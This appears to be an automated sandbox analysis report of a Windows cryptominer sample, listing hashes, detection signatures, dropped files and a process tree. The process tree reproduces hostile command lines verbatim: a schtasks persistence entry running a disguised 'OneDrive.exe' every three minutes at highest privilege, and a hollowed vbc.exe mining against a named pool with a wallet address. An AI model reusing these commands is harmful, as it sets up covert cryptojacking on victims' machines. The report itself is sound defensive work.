Analysis
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max time kernel
4s -
max time network
300s -
platform
windows10-1703_x64 -
resource
win10-20231215-en -
resource tags
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submitted
08-01-2024 04:52
General
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Target
67ecb32eb01382c71a0ccbb9668552aefc32893d92951bc17220c7056dad7128.exe
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Size
4.3MB
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MD5
563f960105584f0430f32774d17a057f
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SHA1
554fd82d279fe6e4a660c01ede00a9df3647da93
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SHA256
67ecb32eb01382c71a0ccbb9668552aefc32893d92951bc17220c7056dad7128
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SHA512
b500a8d51d5b0eef96063517850c191b3f8b99ed72c16342346868e328f1ca2fbff68a91d11ca74268951a21ba57b8e52d655a8ea88cd63bd173ddc8b0d83b3b
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SSDEEP
98304:fOteFv2s5wfn7DGumus8G/Mul2rq/aReDkizMeQUp:fOtgv2Tfn/Gbug/Mul2rVe4iwVUp
Malware Config
Signatures
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xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
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XMRig Miner payload 13 IoCs
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Executes dropped EXE 1 IoCs
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UPX packed file 17 IoCs
Detects executables packed with UPX/modified UPX open source packer.
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Uses the VBS compiler for execution 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Delays execution with timeout.exe 1 IoCs
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Suspicious behavior: EnumeratesProcesses 1 IoCs
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Suspicious use of AdjustPrivilegeToken 2 IoCs
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Suspicious use of WriteProcessMemory 10 IoCs
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Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\67ecb32eb01382c71a0ccbb9668552aefc32893d92951bc17220c7056dad7128.exe"C:\Users\Admin\AppData\Local\Temp\67ecb32eb01382c71a0ccbb9668552aefc32893d92951bc17220c7056dad7128.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6FB2.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
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C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl4⤵
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C:\Windows\system32\timeout.exetimeout 31⤵
- Delays execution with timeout.exe
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"1⤵
- Creates scheduled task(s)
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C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exeC:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe1⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"2⤵
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"3⤵
- Creates scheduled task(s)
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
85KB
MD596de4e6275cf432079699895d350fef7
SHA1fc2e902ae5bb1f28abcdb7414f54f1275ed490df
SHA25660c56f7ce6d4ec230d32bac52d26ce9de750f5e26850543eb35785772fe82703
SHA512c3a057f913489d98df53b9d57d82799ac7bdbf4ff5f677a96c199b2f8fb2a434e339e47676fc6c39d58ba6a4d8dcbe4d1002d362e29506360e1bfc57d2b0b560
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Filesize
270KB
MD57ce274017f36643fee873ec117d09dbb
SHA1039b601c85965c4a5fd988a272576108ea05908c
SHA256fa5028cbe9c1bf0e451911dfe99eef1cf6a831661d323af6df507519bf0a532d
SHA5128f0867b2fba6d977b54120c263696d7c1ca0e4b5c8cfea1e76e22e484be305f04e3ee0f80de0c86d7db7479a0c54371ba29db1831b5f145807d54190a38725e0
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Filesize
76KB
MD53f693a58b5821d1c3b775d87e32629c5
SHA149961b0dd034b02e483a671ce158fd44b8044753
SHA256c9e70d6211984b7d0afad3591b03d42c84cf26dfbc15c958d2d3e134b566fc99
SHA51275257b9f1e48818c0c52bb68b7a64917ee0c35e8e9632eae6a2b2bbd83c637dec4f3d2e3ba88fd4f19f6fe28e79e71ed5f4328477a9904e65e7734d887367cc4
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Filesize
1KB
MD5879faeecba1716ac3ad7bc3662ffb86e
SHA10f489962ae42883915d16449b881e4eb57ec7f9e
SHA256ca38f4cb9f7b3c256a481fd8c86540558a0d9872ba1fc19181483ea5811ced68
SHA512542c9501d4583b86dfacd89e33c31265f2385cb3461fe41d80aeb83d415c2480144a8371ef23175284645569bec1a1274772d1b640d9fab4d002e78740216966
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Filesize
176B
MD52c8b65910f9192918888c6bfce13cfa1
SHA1070b3c7f338868b13b332e6eae3ff43aafe2ead5
SHA256262d725ccb39db8fe086853d723b6219fefee4c53594d18444ab3e0d3a0e9470
SHA51269b1bfd4128776023cd4ead39b183f9f242f8bc3d32cd7b631d3f0952b67444f7223bb33c345cacd9c5b40e52939778507da5d6a71fef465ae02ae3652d0e612
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Filesize
9.9MB
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Filesize
64KB
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Filesize
9.9MB
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Filesize
64KB
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Filesize
6.2MB
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Filesize
9.9MB
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Filesize
4KB
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Filesize
9.9MB
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Filesize
9.9MB
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Filesize
64KB
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Filesize
9.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
128KB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
128KB
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Filesize
128KB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
128KB
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Filesize
128KB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
128KB
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Filesize
7.9MB